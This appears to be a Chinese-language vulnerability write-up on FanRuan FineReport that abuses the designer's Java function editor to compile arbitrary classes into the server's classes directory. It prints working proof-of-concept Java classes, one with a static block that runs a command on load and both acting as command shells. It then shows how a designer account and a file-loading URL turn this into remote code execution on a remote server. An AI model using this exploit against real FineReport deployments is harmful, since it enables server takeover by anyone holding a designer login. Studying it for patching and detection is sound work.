0x01 分析


新版中存在函数管理器,这里可以看见,允许我们自己编写java代码。
com.fr.design.formula.JavaEditorPane
它会调用这个这个进行处理

它会调用这个这个把我们编辑的类写入到当前运行环境的classes下。
com.fr.stable.JavaSourceCode#getPackageNameInText

在编译成class的时候会调用这个类,它会要求我们源码中有package,也就是包名。再就是调用
com.fr.env.operator.CommonOperatorImpl#compile进行编译


本就是通过这个功能我们可以把任意代码编译成class写到当前运行环境的classes目录下。
0x02 复现
准备poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package com.fr; import com.fr.script.AbstractFunction; import com.fr.stable.exception.FormulaException;
import java.io.IOException; import java.util.Scanner;
public class scriptexp extends AbstractFunction{ static { String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "calc"} : new String[]{"/bin/bash", "-c", "open -a Calculator"}; try { Runtime.getRuntime().exec(var12); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public Object run(Object[] args) throws FormulaException { if (args.length != 1) { return "please input a command"; } String command = args[0].toString().trim(); String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command}; try { String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next(); return s; } catch (IOException e) { throw new RuntimeException(e); } } }
package com.fr.function;
import com.fr.script.AbstractFunction; import com.fr.stable.exception.FormulaException;
import java.io.IOException; import java.util.Scanner;
public class shell2 extends AbstractFunction{
@Override public Object run(Object[] args) throws FormulaException { if (args.length != 1) { return "please input a command"; } String command = args[0].toString().trim(); String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c",command} : new String[]{"/bin/bash", "-c", command}; try { String s = new Scanner(Runtime.getRuntime().exec(var12).getInputStream()).useDelimiter("\\A").next(); return s; } catch (IOException e) { throw new RuntimeException(e); } } }
|

填好poc后,点击编译保存,然后完成。
它会在classes下生成。

本地命令执行成功。
0x03 扩展一下
难道只能进行本地命令执行, 这里我通过官网找到https://help.fanruan.com/finereport/doc-view-698.html

也就是可以远程设计,那这利用面就很大了。
也就是我们只要帆软的设计账号,就能对远程服务器发起攻击。


可以看到成功把编译成功时,直接把class也写到了远端的classes目录下。所以这里我们只要在static代码块中写入恶意代码,就能直接造成远程命令执行。
既然我们已经把类写到远程了,下面只要加载进行了。
com.fr.web.controller.common.FileRequestService#getFile


可以它会在在type为class会调⽤class.form,这样就会把这个类加⼊到jvm⾥,造成触发。
/webroot/decision/file?path=com.fr.function.shelll&type=class

com.fr.stable.fun.Service
com.fr.report.fun.FormatActionProvider
com.fr.stable.web.RequestCMDReceiver